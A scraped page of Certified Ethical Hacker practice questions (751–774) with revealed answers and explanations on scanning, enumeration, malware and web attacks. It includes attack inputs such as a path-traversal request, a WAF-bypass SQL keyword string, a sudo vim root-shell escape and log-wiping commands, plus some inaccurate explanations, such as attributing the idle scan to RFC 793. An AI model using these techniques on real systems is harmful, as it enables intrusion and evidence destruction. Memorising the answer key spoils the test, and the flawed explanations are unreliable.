Courseiva
HTTP/1.1…","url":"https://courseiva.com/questions/ec-council/ec-ceh/an-analyst-reviews-a-web-server-log-and-sees-the-following-r-vknfi"},{"@type":"ListItem","position":820,"name":"During a security assessment, an analyst runs 'enum4linux -a 10.0.0.5' and obtains a list of users, shares, and OS infor…","url":"https://courseiva.com/questions/ec-council/ec-ceh/during-a-security-assessment-an-analyst-runs-enum4linux-a-a011m"},{"@type":"ListItem","position":821,"name":"An analyst observes the following output from Wireshark: a TCP packet with the SYN flag set, followed by a SYN-ACK, then…","url":"https://courseiva.com/questions/ec-council/ec-ceh/an-analyst-observes-the-following-output-from-wireshark-a-t-n1e7w"},{"@type":"ListItem","position":822,"name":"A penetration tester wants to identify live hosts on a large IP range without generating excessive network traffic. Whic…","url":"https://courseiva.com/questions/ec-council/ec-ceh/a-penetration-tester-wants-to-identify-live-hosts-on-a-large-0wfr5"},{"@type":"ListItem","position":823,"name":"A company wants to protect its network from MAC flooding attacks. Which of the following countermeasures is MOST effecti…","url":"https://courseiva.com/questions/ec-council/ec-ceh/a-company-wants-to-protect-its-network-from-mac-flooding-att-x8889"},{"@type":"ListItem","position":824,"name":"During a penetration test, an analyst runs the command 'snmpwalk -v2c -c public 192.168.1.10' and receives a large amoun…","url":"https://courseiva.com/questions/ec-council/ec-ceh/during-a-penetration-test-an-analyst-runs-the-command-snmp-9x7j3"},{"@type":"ListItem","position":825,"name":"During a forensic investigation, an analyst finds a suspicious file that changes its code signature each time it replica…","url":"https://courseiva.com/questions/ec-council/ec-ceh/during-a-forensic-investigation-an-analyst-finds-a-suspicio-77ucm"}]}

Certified Ethical Hacker CEH (CEH) — Questions 751825

870 questions total · 12pages · All types, answers revealed

Page 10

Page 11 of 12

Page 12
751
MCQmedium

An attacker uses a technique where they send a SYN packet with a spoofed source IP address to the target, and the target responds with SYN/ACK to the spoofed IP. The attacker never completes the handshake. This technique is known as:

A.SYN flood
B.TCP connect scan
C.Idle scan
D.Half-open scan
AnswerC

An Idle scan is a highly stealthy port scanning technique that leverages a "zombie" host, an idle machine with a predictable IPID (IP Identification field) sequence. The attacker spoofs the zombie's IP address to send SYN packets to the target port. By observing changes in the zombie's IPID after the target responds (or doesn't respond) to the spoofed packet, the attacker can infer whether the target port is open, closed, or filtered, without directly interacting with the target.

Why this answer

The idle scan (option C) is correct because it uses a spoofed SYN packet with a zombie host's IP address to probe open ports on the target. The target sends a SYN/ACK to the zombie, but the attacker never completes the handshake; instead, the attacker monitors the zombie's IPID (IP Identification) field to infer whether the target's port is open or closed. This technique is defined in RFC 793 and leverages the zombie's predictable IPID sequence to perform a blind, stealthy scan.

Exam trap

The trap here is that candidates confuse the idle scan with a half-open scan because both involve not completing the handshake, but the idle scan uniquely requires a spoofed source IP and a zombie host to measure IPID changes, whereas a half-open scan uses the attacker's own IP and sends a RST directly.

How to eliminate wrong answers

Option A (SYN flood) is wrong because it is a denial-of-service attack that sends a high volume of SYN packets to exhaust target resources, not a reconnaissance technique using a spoofed IP to infer port states. Option B (TCP connect scan) is wrong because it completes the full three-way handshake using the attacker's real IP address, not a spoofed source IP, and is detectable in logs. Option D (Half-open scan) is wrong because it sends a SYN packet with the attacker's own IP, receives a SYN/ACK, and then sends a RST to avoid completing the handshake; it does not use a spoofed IP or a third-party zombie to mask the attacker's identity.

752
MCQmedium

A penetration tester gains access to a Linux server and attempts to escalate privileges. They run `sudo -l` and see that the user can run `/usr/bin/vim` as root without a password. Which privilege escalation technique should the tester use?

A.Perform token impersonation using SeImpersonatePrivilege
B.Use vim's shell escape via `:!bash` to get a root shell
C.Exploit a kernel vulnerability (CVE-2023-xxxx)
D.Abuse the SUID bit on vim
AnswerB

This is the correct approach because if vim is launched with sudo privileges, even if sudo is configured to require a password, the vim process itself will be running as root. Within vim, the :!bash command allows the user to execute an arbitrary shell command. Since vim is already running as root, the spawned bash shell will inherit these root privileges, effectively granting a root shell without needing to know the root password directly.

Why this answer

The `sudo -l` output shows that the user can run `/usr/bin/vim` as root without a password. Vim has a built-in shell escape feature: from within vim, typing `:!bash` (or `:!sh`) executes a shell with the privileges of the user running vim. Since vim is run via sudo as root, the spawned shell will be a root shell, directly escalating privileges without needing additional exploits.

Exam trap

CEH exams often test the distinction between sudo-based privilege escalation and SUID-based escalation; the trap here is that candidates may incorrectly focus on the SUID bit (Option D) when the actual vector is the sudo rule allowing arbitrary command execution via vim's shell escape.

How to eliminate wrong answers

Option A is wrong because token impersonation using SeImpersonatePrivilege is a Windows-specific privilege escalation technique (e.g., JuicyPotato), not applicable to Linux. Option C is wrong because exploiting a kernel vulnerability (CVE-2023-xxxx) is unnecessary when a simple sudo misconfiguration already grants root access; it is overkill and risks system instability. Option D is wrong because the SUID bit on vim is not relevant here; the user already has sudo permission to run vim as root, so the escalation vector is the sudo rule, not the SUID bit.

753
MCQhard

During a penetration test, the tester runs `enum4linux -U 192.168.1.20` and obtains a list of usernames. What service is being enumerated, and what is the primary risk associated with this information disclosure?

A.NFS; it can lead to unauthorized file access
B.SNMP; it can reveal community strings
C.SMB; it can facilitate password spraying or brute‑force attacks
D.LDAP; it can expose directory structure
AnswerC

`enum4linux` specifically leverages the Server Message Block (SMB) protocol to enumerate user information from Windows or Samba hosts, directly identifying the service in the scenario. Obtaining a list of valid usernames, as achieved by the `-U` flag, is a critical precursor for credential-based attacks. This disclosed information significantly facilitates password spraying, where common passwords are tried against numerous accounts, or targeted brute-force attacks against specific user accounts.

Why this answer

enum4linux is a tool that queries SMB (Server Message Block) services on a target, typically over TCP ports 139 or 445. The `-U` flag specifically enumerates users from the SAM database via the SMB protocol. The primary risk of obtaining a valid username list is that it enables password spraying or brute-force attacks against SMB authentication, which can lead to unauthorized access.

Exam trap

The CEH exam often tests the association between the specific enumeration tool and its corresponding service, so the trap here is confusing enum4linux with other enumeration tools like `snmpwalk` (SNMP) or `ldapsearch` (LDAP), leading candidates to pick a plausible-sounding but incorrect service.

How to eliminate wrong answers

Option A is wrong because NFS (Network File System) is enumerated with tools like `showmount` or `rpcinfo`, not enum4linux, and the risk of unauthorized file access is associated with NFS export misconfigurations, not username enumeration. Option B is wrong because SNMP (Simple Network Management Protocol) is enumerated with tools like `snmpwalk` or `onesixtyone`, and the risk of revealing community strings is unrelated to SMB username enumeration. Option D is wrong because LDAP (Lightweight Directory Access Protocol) is enumerated with tools like `ldapsearch` or `windapsearch`, and while it can expose directory structure, enum4linux does not interact with LDAP.

754
MCQeasy

Which of the following is a type of malware that replicates itself by attaching to executable files and requires human action to spread, such as opening an infected attachment?

A.Worm
B.Ransomware
C.File virus
D.Trojan
AnswerC

A file virus is a classic form of malware that replicates by attaching its malicious code to legitimate executable files or scripts on a host system. When an infected program is executed, the virus code runs first, often infecting other uninfected files on the same system or accessible network drives. This direct modification and execution-based propagation mechanism is a fundamental characteristic of file viruses, making them a clear example of replicating malware.

Why this answer

A file virus (also known as a file infector) is a type of malware that replicates by inserting its code into executable files (e.g., .exe, .com, .dll). It requires human action to spread, such as opening an infected email attachment or running an infected program, because the virus code is only activated when the host executable is executed.

Exam trap

The trap here is that candidates often confuse a file virus with a worm because both can spread via email attachments, but the key differentiator is that a worm self-replicates without human interaction, while a file virus requires the user to execute the infected file.

How to eliminate wrong answers

Option A is wrong because a worm is a self-replicating malware that spreads automatically over networks without requiring human action, exploiting vulnerabilities like open ports or weak credentials. Option B is wrong because ransomware is a type of malware that encrypts files or locks systems to demand a ransom, and it does not primarily replicate by attaching to executables; its spread often relies on other vectors like phishing or exploits. Option D is wrong because a Trojan is malware disguised as legitimate software that does not self-replicate; it relies on social engineering to trick users into installing it, but it does not attach to executable files to propagate.

755
MCQhard

Refer to the exhibit. During a penetration test, the results show port 80 as 'filtered'. Which of the following is the most likely reason?

A.The SSH service is interfering with the scan.
B.The target host is offline.
C.The web server is not running.
D.A firewall or ACL is blocking the port.
AnswerD

An Nmap port scan result of 'filtered' specifically indicates that Nmap was unable to determine if the port is open or closed because its probes did not elicit a definitive response, or an ICMP unreachable message was received. This behavior is characteristic of a firewall, Access Control List (ACL), or other packet filtering device actively dropping or rejecting the Nmap probe packets targeting port 80. Such security mechanisms are designed to prevent unauthorized access by blocking traffic to specific ports, making the port appear 'filtered' to the scanner.

756
MCQmedium

During a penetration test, an analyst runs the following command: 'reaver -i wlan0mon -b 00:11:22:33:44:55 -vv'. What is the PRIMARY purpose of this command?

A.Perform a de-authentication attack on the target AP
B.Capture the 4-way handshake for WPA cracking
C.Brute-force the WPS PIN to recover the Wi-Fi passphrase
D.Scan for nearby access points and their BSSIDs
AnswerC

Reaver is a specialized tool engineered to exploit a design flaw in the Wi-Fi Protected Setup (WPS) protocol. It systematically attempts to guess the 8-digit WPS PIN by brute-forcing the first four digits, then the next three, and finally the checksum digit. This method leverages the fact that WPS validates the PIN in two halves, significantly reducing the number of possible combinations and allowing Reaver to recover the Wi-Fi passphrase.

Why this answer

Reaver is a tool designed to exploit the WPS PIN authentication mechanism. The command targets a specific BSSID to perform a brute-force attack on the WPS PIN, which can reveal the WPA/WPA2 passphrase if successful.

757
MCQhard

A web application firewall (WAF) blocks requests containing ' UNION SELECT '. A penetration tester wants to bypass this restriction to perform a union-based SQL injection. Which of the following techniques is MOST likely to succeed?

A.Use double URL encoding: '%25%35%35%25%34%65%25%34%39...'
B.Use hex encoding: '0x554e494f4e2053454c454354'
C.Use URL encoding: '%55%4e%49%4f%4e%20%53%45%4c%45%43%54'
D.Use inline comments: 'UN/**/ION/**/SE/**/LECT'
AnswerD

Inline comments, like '/**/', are valid SQL syntax that allows arbitrary text to be inserted without affecting query execution. By strategically placing these comments within keywords (e.g., 'UN/**/ION'), an attacker can break up the signature of a known malicious string (e.g., "UNION SELECT") into smaller, non-matching fragments. This technique effectively bypasses WAFs that rely on simple, exact string matching or regular expressions that do not account for such obfuscation, as the WAF sees 'UN', then '/**/', then 'ION', rather than the full "UNION" keyword.

Why this answer

Using comments or alternative encoding can bypass WAF rules. Inline comments like '/**/' can break up keywords.

758
MCQhard

As a network defender, you notice an unusually high number of incomplete TCP three-way handshakes from a single external IP to multiple internal hosts. What is the most likely attack taking place?

A.UDP flood
B.SYN flood
C.ARP spoofing
D.ICMP flood
AnswerB

SYN flood sends many SYN packets without completing handshake.

Why this answer

A SYN flood attack exploits the TCP three-way handshake by sending a high volume of SYN packets to target hosts without completing the handshake (i.e., not sending the final ACK). This leaves the target with half-open connections, exhausting its connection table and denying service to legitimate traffic. The observation of incomplete handshakes from a single external IP to multiple internal hosts is a classic signature of a SYN flood.

Exam trap

EC-Council often tests the distinction between a SYN flood and a UDP flood, where candidates mistakenly choose UDP flood because they associate 'flood' with any high-volume attack, but the key clue is the incomplete TCP three-way handshake, which is specific to SYN floods.

How to eliminate wrong answers

Option A (UDP flood) is wrong because a UDP flood targets UDP ports with a high volume of datagrams, not TCP handshake packets, and would not produce incomplete TCP three-way handshakes. Option C (ARP spoofing) is wrong because ARP spoofing operates at Layer 2 by poisoning ARP caches to intercept traffic on a local network, not by sending incomplete TCP handshakes from an external IP. Option D (ICMP flood) is wrong because an ICMP flood uses ICMP echo request packets (pings) to overwhelm a target, not TCP SYN packets, and would not result in incomplete TCP handshakes.

759
MCQeasy

A security analyst notices that a web application returns different page sizes when a valid user ID is submitted versus an invalid one in the URL parameter. Which type of vulnerability is most likely being exploited?

A.Stored Cross-Site Scripting (XSS)
B.Insecure Direct Object Reference (IDOR)
C.Cross-Site Request Forgery (CSRF)
D.SQL Injection
AnswerB

Insecure Direct Object Reference (IDOR) occurs when an application exposes a direct reference to an internal implementation object, such as a file, directory, database record, or key, and fails to implement proper authorization checks. An attacker can manipulate these references, often found in URL parameters or API requests, to access resources belonging to other users or entities without explicit permission. This directly matches the scenario where an analyst changes an ID to view different responses, indicating a bypass of access controls.

Why this answer

This is a classic indicator of an Insecure Direct Object Reference (IDOR) vulnerability, where an attacker can enumerate valid IDs by observing differences in responses.

760
MCQeasy

A security analyst wants to gather information about a target domain without directly interacting with its systems. Which technique would be MOST appropriate?

A.Send ICMP echo requests to the target network
B.Run a vulnerability scan with Nessus
C.Perform a port scan using Nmap SYN scan
D.Query WHOIS databases for domain registration information
AnswerD

Querying WHOIS databases for domain registration information is a passive reconnaissance technique because it retrieves publicly available data from centralized registries and registrars. This process does not send any network traffic directly to the target organization's servers or network infrastructure. Instead, it accesses information that has been voluntarily submitted and made public, such as registrant details, name servers, and registration dates, without alerting the target.

Why this answer

Querying WHOIS databases is a passive reconnaissance technique that retrieves publicly available domain registration information (e.g., registrar, creation/expiration dates, name servers, and administrative contacts) without sending any packets to the target's systems. This aligns with the goal of gathering information without direct interaction, as defined in the CEH footprinting phase.

Exam trap

The trap here is that candidates often confuse active scanning (like Nmap or Nessus) with passive reconnaissance, failing to recognize that any packet sent to the target constitutes direct interaction, whereas WHOIS queries are entirely external to the target's infrastructure.

How to eliminate wrong answers

Option A is wrong because sending ICMP echo requests (ping sweeps) involves direct interaction with the target network, which violates the requirement of no direct interaction. Option B is wrong because running a vulnerability scan with Nessus actively probes target systems for weaknesses, generating traffic and direct interaction. Option C is wrong because performing a port scan using Nmap SYN scan sends crafted TCP SYN packets to target hosts, which is an active reconnaissance technique that directly interacts with the target's systems.

761
Multi-Selecteasy

A web application is vulnerable to XML External Entity (XXE) injection. Which THREE of the following are potential impacts of successfully exploiting an XXE vulnerability?

Select 3 answers
A.SQL injection
B.Arbitrary file read on the server
C.Denial of Service (DoS)
D.Server-Side Request Forgery (SSRF)
E.Remote code execution via command injection
AnswersB, C, D

XXE vulnerabilities allow an attacker to define external entities that reference local files on the server using the `file://` URI scheme. When the XML parser processes this entity, it attempts to retrieve the content of the specified file, such as `/etc/passwd` or application configuration files. This content is then embedded into the XML response, enabling the attacker to read sensitive system files.

Why this answer

XXE can be used for reading local files (e.g., /etc/passwd), performing SSRF by making the server issue requests, and causing denial of service (e.g., billion laughs attack).

762
MCQeasy

A security analyst wants to enumerate NetBIOS names on a Windows network. Which built-in Windows command-line tool should they use?

A.nslookup
B.netstat
C.nbtstat
D.net view
AnswerC

nbtstat is the correct command for NetBIOS name resolution and enumeration.

Why this answer

The nbtstat command is the correct built-in Windows tool for enumerating NetBIOS names because it directly queries and displays NetBIOS over TCP/IP (NetBT) statistics, name tables, and caches. NetBIOS name enumeration relies on the NBT protocol (RFC 1001/1002), and nbtstat -a or -A retrieves the remote machine's NetBIOS name table, which includes service types like file sharing, messaging, and workstation services.

Exam trap

The trap here is that candidates confuse 'net view' (which shows network shares) with NetBIOS name enumeration, but nbtstat is the specific tool for querying the NetBIOS name table and cache directly.

How to eliminate wrong answers

Option A (nslookup) is wrong because it is used for DNS queries (A, AAAA, MX, etc.) and has no capability to enumerate NetBIOS names, which operate at a different layer (NetBIOS session service over TCP/UDP 137-139). Option B (netstat) is wrong because it displays active TCP/UDP connections, listening ports, and routing tables, but it does not query or resolve NetBIOS names or name tables. Option D (net view) is wrong because while it lists shared resources on a network, it relies on the Server Message Block (SMB) protocol and does not directly enumerate the raw NetBIOS name table or cache; it is a higher-level command that uses NetBIOS indirectly but is not the tool for name enumeration.

763
MCQeasy

Which of the following techniques is considered PASSIVE reconnaissance?

A.Ping sweeping a subnet
B.Banner grabbing with Telnet
C.Running a SYN scan with Nmap
D.Performing a WHOIS lookup
AnswerD

Performing a WHOIS lookup involves querying publicly accessible databases maintained by domain registrars and Regional Internet Registries (RIRs) to retrieve information about domain names or IP address blocks. This process retrieves data from third-party servers, such as ICANN-accredited registrars, without ever sending a single packet to the target organization's network infrastructure. Consequently, the target remains completely unaware of the inquiry, making it a quintessential passive reconnaissance technique.

Why this answer

WHOIS queries retrieve domain registration records from public databases like whois.iana.org or RDAP servers. Since the target server is never contacted directly — only public registries are queried — no packets are sent to the target's infrastructure, making it a purely passive reconnaissance technique.

Exam trap

EC-Council often tests the distinction between passive and active reconnaissance by making candidates think that any network-based query (like WHOIS) is active, when in fact WHOIS queries public third-party databases, not the target's own systems.

How to eliminate wrong answers

Option A is wrong because ping sweeping sends ICMP Echo Request packets to multiple hosts and waits for replies, actively probing the target network. Option B is wrong because banner grabbing with Telnet establishes a TCP connection (port 23 or other) to the target service and reads the initial banner, which is an active interaction. Option C is wrong because running a SYN scan with Nmap sends crafted TCP SYN packets to target ports and analyzes responses, which is an active scanning technique that can be detected by intrusion detection systems.

764
MCQmedium

A company wants to defend against DNS amplification attacks. Which mitigation technique would be MOST effective?

A.Disabling recursive queries on DNS servers
B.Implementing rate limiting on DNS servers
C.Deploying anycast routing
D.Using a scrubbing center
AnswerB

Rate limiting reduces the number of DNS responses to a single source, mitigating amplification.

Why this answer

B is correct because rate limiting restricts the number of DNS responses a server sends to a single source, reducing the volume of traffic that can be generated in an amplification attack. DNS amplification exploits open recursive resolvers to send small queries that yield large responses, and rate limiting directly curbs the attacker's ability to flood the victim with amplified traffic. This technique is specifically recommended in RFC 5358 and by industry best practices for mitigating reflection/amplification DDoS attacks.

Exam trap

EC-CEH often tests the misconception that disabling recursive queries fully prevents DNS amplification, but the trap here is that rate limiting is the most effective defense because it directly throttles the amplified response volume, whereas disabling recursion only prevents the server from being an open resolver but does not stop attacks using other resolvers or targeting the server itself.

How to eliminate wrong answers

Option A is wrong because disabling recursive queries only prevents the DNS server from being used as an open resolver, which stops it from being a source of amplification, but it does not mitigate attacks where the attacker uses other open resolvers or where the server itself is the target of the amplified response. Option C is wrong because anycast routing distributes DNS query load across multiple servers and improves availability, but it does not reduce the volume of amplified traffic sent to the victim; it only helps the DNS infrastructure survive the attack. Option D is wrong because a scrubbing center is a third-party service that filters malicious traffic after the attack reaches the network, which is a reactive measure and not the most effective proactive mitigation on the DNS server itself; it also incurs cost and latency.

765
Multi-Selectmedium

Which TWO of the following are characteristics of a polymorphic virus?

Select 2 answers
A.It uses a decryption routine that varies
B.It uses a constant signature across all infections
C.It changes its code signature each time it replicates
D.It can only infect boot sectors
E.It always remains in memory
AnswersA, C

A polymorphic virus employs a sophisticated mutation engine that generates a unique decryption routine for each new infection instance. This varying decryption stub is prepended to the encrypted virus body, ensuring that the overall code signature changes every time the virus replicates. This constant alteration of the decryption mechanism is crucial for evading static signature-based antivirus detection, as the virus's executable form never presents the same byte pattern.

Why this answer

A polymorphic virus uses a decryption routine that varies with each infection, preventing signature-based detection. Option C is also correct because the changing decryption routine causes the virus's code signature to change each time it replicates, further evading signature matching.

Exam trap

The trap here is that candidates confuse 'polymorphic' with 'metamorphic' — polymorphic changes the decryption routine but keeps the payload constant, whereas metamorphic rewrites the entire code body, and the exam often tests this distinction by listing 'constant signature' as a distractor.

766
MCQeasy

An attacker sends an email that appears to come from the CEO of the company, requesting an urgent wire transfer to a specific account. This is an example of which social engineering attack?

A.Whaling
B.Spear phishing
C.Phishing
D.Pretexting
AnswerA

Whaling is a highly specialized form of spear phishing that specifically targets high-profile individuals within an organization, such as CEOs, CFOs, or other senior executives. The attacker crafts extremely convincing emails, often spoofing the identity of a trusted internal or external party, to trick these 'big fish' into divulging sensitive information or authorizing fraudulent transactions. The objective is typically significant financial gain or access to critical corporate data, leveraging the executive's authority and perceived urgency.

Why this answer

Whaling is a targeted social engineering attack that specifically goes after high-profile individuals like the CEO or CFO. In this scenario, the attacker impersonates the CEO to trick an employee into authorizing a fraudulent wire transfer, which is the classic hallmark of whaling rather than generic phishing.

Exam trap

The trap here is that candidates confuse whaling with spear phishing because both are targeted, but whaling is specifically reserved for attacks against senior executives or high-value targets, not just any individual.

How to eliminate wrong answers

Option B (Spear phishing) is wrong because spear phishing targets a specific individual or group but does not necessarily focus on senior executives; the attack here is explicitly against the CEO's identity. Option C (Phishing) is wrong because phishing is a broad, untargeted attack sent to many users, not a personalized email impersonating a specific executive. Option D (Pretexting) is wrong because pretexting involves creating a fabricated scenario or pretext to obtain information, not directly requesting an action like a wire transfer via email impersonation.

767
Multi-Selecthard

A security analyst is reviewing a web application log and sees the following request: GET /page?file=../../../etc/passwd HTTP/1.1. Which TWO vulnerabilities are most likely being attempted? (Select two)

Select 2 answers
A.Directory traversal
B.Remote file inclusion (RFI)
C.SQL injection
D.Local file inclusion (LFI)
E.Command injection
AnswersA, D

Directory traversal, also known as path traversal, is an attack that exploits insufficient security validation or sanitization of user-supplied input to access files and directories stored outside the intended web root directory. The `../` sequence, or its URL-encoded equivalent `%2e%2e%2f`, allows an attacker to navigate up the directory hierarchy. By chaining multiple `../` sequences, an attacker can potentially access sensitive system files like `/etc/passwd` or configuration files, thereby compromising the system's confidentiality.

Why this answer

The request uses '../' to traverse directories (directory traversal) and attempts to read the /etc/passwd file, which is also a local file inclusion (LFI) attempt if the application includes files.

768
MCQmedium

A security analyst discovers a user downloaded a file that, when executed, creates a hidden process that connects to a remote server and allows full remote control of the system. Which type of malware BEST describes this behavior?

A.Worm
B.Ransomware
C.Remote Access Trojan (RAT)
D.Polymorphic virus
AnswerC

A Remote Access Trojan (RAT) is a sophisticated form of malware specifically engineered to grant an attacker comprehensive, covert administrative control over an infected system. It establishes a persistent backdoor, enabling remote execution of commands, file manipulation, keystroke logging, screen capture, and even webcam/microphone activation. This direct, interactive control makes a RAT the definitive tool for remote system manipulation and surveillance.

Why this answer

The behavior described—downloading a file that, when executed, creates a hidden process that connects to a remote server and provides full remote control—is the classic definition of a Remote Access Trojan (RAT). A RAT is a type of malware that allows an attacker to remotely control the victim's system, often using a command-and-control (C2) channel over protocols like TCP or HTTP. The hidden process and outbound connection to a remote server are key indicators of a RAT, distinguishing it from other malware types that do not provide interactive remote control.

Exam trap

The trap here is that candidates often confuse a RAT with a worm or virus because they focus on the 'remote control' aspect, but fail to recognize that a RAT specifically provides interactive remote access, whereas worms and viruses have different primary behaviors like self-replication or code mutation.

How to eliminate wrong answers

Option A is wrong because a worm is a self-replicating malware that spreads across networks without requiring user interaction to execute a downloaded file, and it does not typically provide full remote control of a single system. Option B is wrong because ransomware encrypts files or locks the system to demand a ransom, and it does not create a hidden process for remote control or connect to a remote server for interactive access. Option D is wrong because a polymorphic virus changes its code signature to evade detection but does not inherently create a hidden process or establish a remote control channel; its primary behavior is infection and mutation, not remote access.

769
MCQhard

Refer to the exhibit. A security analyst runs ping and arp commands. What is the most likely attack occurring?

A.Distributed denial of service (DDoS) attack
B.MAC flooding attack
C.ARP spoofing attack
D.Ping flood attack
AnswerC

An ARP spoofing attack, also known as ARP poisoning, involves an attacker sending forged Address Resolution Protocol (ARP) replies to a target system, associating the attacker's MAC address with the IP address of another legitimate device on the local network. The exhibit's indication of duplicate MAC addresses for different IP addresses in the ARP cache is a definitive symptom of this attack. This allows the attacker to intercept, modify, or drop traffic intended for the legitimate device, effectively performing a man-in-the-middle attack.

Why this answer

The combination of `ping` and `arp` commands reveals an ARP spoofing attack. The `arp -a` output shows the same MAC address (00-11-22-33-44-55) mapped to multiple IP addresses (192.168.1.1 and 192.168.1.2), which is a classic indicator of ARP cache poisoning. The `ping` commands confirm that both IPs are reachable, but the duplicate MAC entry proves an attacker is intercepting traffic by associating their MAC with multiple IPs.

Exam trap

The trap here is that candidates confuse MAC flooding (which targets switch CAM tables) with ARP spoofing (which targets host ARP caches), but the exhibit's `arp -a` output showing multiple IPs for one MAC is the definitive sign of ARP cache poisoning, not a switch-level attack.

How to eliminate wrong answers

Option A is wrong because a DDoS attack would overwhelm the target with traffic from multiple sources, not cause duplicate MAC entries in the ARP cache. Option B is wrong because a MAC flooding attack fills the switch's CAM table with fake MAC addresses to force it into hub mode, but the exhibit shows ARP table entries, not switch behavior or CAM table overflow. Option D is wrong because a ping flood attack sends a high volume of ICMP echo requests to consume bandwidth, but the exhibit shows only a few ping replies and no indication of resource exhaustion or abnormal traffic volume.

770
MCQeasy

A security analyst wants to enumerate all users from an SMTP server. Which of the following SMTP commands can be used for user enumeration?

A.DATA
B.MAIL FROM
C.HELO
D.VRFY
AnswerD

The VRFY (Verify) command is specifically designed to query an SMTP server to determine if a particular mailbox or user exists on the system. When provided with a username or email address, the server typically responds with information indicating whether the user is valid, often including their full name or a success code. This direct validation capability makes VRFY a highly effective tool for enumerating valid user accounts on an SMTP server, which is precisely what the security analyst aims to achieve.

Why this answer

The VRFY command is used in SMTP to verify whether a mailbox exists on the server. By issuing VRFY followed by a username, the server typically responds with a 250 code if the user exists or a 550 code if not, enabling user enumeration. This is a recognized technique in security assessments to discover valid email accounts.

Exam trap

The trap here is that candidates often confuse VRFY with EXPN or think that HELO or MAIL FROM can be abused for enumeration, but only VRFY directly queries the server for user existence.

How to eliminate wrong answers

Option A is wrong because DATA is used to begin the transmission of the email body content, not for user enumeration. Option B is wrong because MAIL FROM specifies the sender's address in an SMTP transaction and does not query the server for user existence. Option C is wrong because HELO initiates the SMTP session by identifying the client to the server and provides no mechanism to enumerate users.

771
MCQmedium

An attacker uses a tool that sends crafted RCPT TO commands to an SMTP server to verify email addresses. Which SMTP enumeration technique is being used?

A.AUTH
B.RCPT TO
C.EXPN
D.VRFY
AnswerB

The RCPT TO:<address@domain.com> command is a fundamental SMTP instruction used to specify an intended recipient for an email. Attackers exploit this by sending numerous RCPT TO commands with guessed email addresses to a target mail server. The server's response, such as a 250 OK for a valid address or a 550 No such user here for an invalid one, allows for systematic enumeration of active email accounts. This method is highly effective for building target lists for further attacks.

Why this answer

The RCPT TO command is used in SMTP to specify the recipient of an email. By sending crafted RCPT TO commands to an SMTP server, an attacker can observe the server's response (e.g., '250 OK' for valid addresses vs. '550 No such user' for invalid ones) to enumerate valid email addresses. This technique directly exploits the SMTP protocol's recipient verification behavior.

Exam trap

The trap here is that candidates often confuse RCPT TO with VRFY, assuming VRFY is the primary enumeration command, but in practice, VRFY is frequently disabled, making RCPT TO the more reliable and commonly tested technique in CEH scenarios.

How to eliminate wrong answers

Option A is wrong because AUTH is an SMTP command used for authentication, not for verifying email addresses; it does not reveal whether a recipient exists. Option C is wrong because EXPN is used to expand mailing lists or aliases, returning all members of a list, not to verify individual email addresses. Option D is wrong because VRFY is used to verify if a user exists on the server, but it is often disabled or restricted for security reasons, whereas RCPT TO is more commonly available and effective for enumeration.

772
MCQhard

An attacker uses SMTP commands to verify the existence of email accounts on a mail server. Which sequence of SMTP commands is used for this purpose?

A.EHLO, AUTH, STARTTLS
B.HELO, MAIL FROM, RCPT TO, DATA
C.NOOP, QUIT, RSET
D.VRFY, EXPN, RCPT TO
AnswerD

VRFY, EXPN, and RCPT TO are effective SMTP commands for enumerating valid user accounts and aliases on a mail server. VRFY (Verify) explicitly requests the server to confirm if a specified user or mailbox exists, often returning a 250 OK response for valid users or a 550 error for non-existent ones. EXPN (Expand) requests the server to expand a mailing list or alias, revealing the individual members or addresses it contains. RCPT TO, even without a subsequent DATA command, can be used to test for recipient validity by observing the server's response code (e.g., 250 OK vs. 550 User unknown).

Why this answer

The VRFY command asks the mail server to verify whether a given email address exists, EXPN expands a mailing list to reveal individual addresses, and RCPT TO (used in the SMTP transaction) can also be used to check address validity by observing the server's response. Together, these commands allow an attacker to enumerate valid email accounts on the server.

Exam trap

The trap here is that candidates often confuse the standard SMTP mail-sending sequence (HELO, MAIL FROM, RCPT TO, DATA) with the enumeration-specific commands, forgetting that VRFY and EXPN are explicitly designed for address verification.

How to eliminate wrong answers

Option A is wrong because EHLO, AUTH, and STARTTLS are used for SMTP session initiation, authentication, and encryption negotiation, not for verifying email account existence. Option B is wrong because HELO, MAIL FROM, RCPT TO, and DATA are the standard sequence for sending an email message, not specifically for enumeration, though RCPT TO can be abused for enumeration it is not the primary sequence. Option C is wrong because NOOP is a no-operation command, QUIT ends the session, and RSET resets the session; none of these commands verify email account existence.

773
Multi-Selecthard

Which THREE of the following are valid techniques for covering tracks after compromising a system? (Select 3 correct answers)

Select 3 answers
A.Clearing event logs using wevtutil
B.Exploiting SUID binaries to gain root
C.Installing a rootkit to hide malicious processes
D.Using timestomp to modify file timestamps
E.Disabling Windows Defender via Group Policy
AnswersA, C, D

Clearing event logs using `wevtutil` is a direct method of covering tracks by eliminating forensic evidence. The `wevtutil` command-line utility allows an attacker to clear specific Windows Event Logs, such as Security, System, or Application logs, which record system activities, security events, and application errors. By removing these logs, an attacker can erase records of their login attempts, command executions, file accesses, and other malicious actions, significantly hindering incident response and forensic investigations.

Why this answer

A is correct because wevtutil is a Windows command-line utility used to manage event logs. After compromising a system, an attacker can use 'wevtutil cl' followed by a log name (e.g., 'wevtutil cl System') to clear specific event logs, thereby erasing evidence of their activities. This is a direct and common technique for covering tracks by removing forensic artifacts.

Exam trap

EC-Council often tests the distinction between privilege escalation (gaining higher access) and covering tracks (hiding evidence), causing candidates to mistakenly select SUID exploitation as a track-covering technique.

774
MCQeasy

A company wants to test the security of its web application by simulating attacks from an external perspective. They have no prior knowledge of the internal network or application architecture. Which type of test should they perform?

A.Black-box test
B.White-box test
C.Red team engagement
D.Gray-box test
AnswerA

A black-box test simulates an external attacker with no prior knowledge of the target system's internal architecture, source code, or credentials. Testers interact with the web application solely through its public interfaces, mimicking real-world threat actors attempting to exploit vulnerabilities from the outside. This approach is ideal for assessing the effectiveness of perimeter defenses and identifying externally exploitable flaws, directly aligning with a company's goal to test its web application's security from an external perspective.

Why this answer

A black-box test is the correct choice because the company has no prior knowledge of the internal network or application architecture. This simulates an external attacker with zero insider information, testing the application from an outsider's perspective without access to source code, network diagrams, or credentials. The test relies solely on publicly available information and direct interaction with the application's interfaces.

Exam trap

The trap here is that candidates often confuse 'black-box test' with 'red team engagement', but red team engagements are broader and may include internal knowledge or physical attacks, whereas a black-box test strictly limits information to what is publicly available.

How to eliminate wrong answers

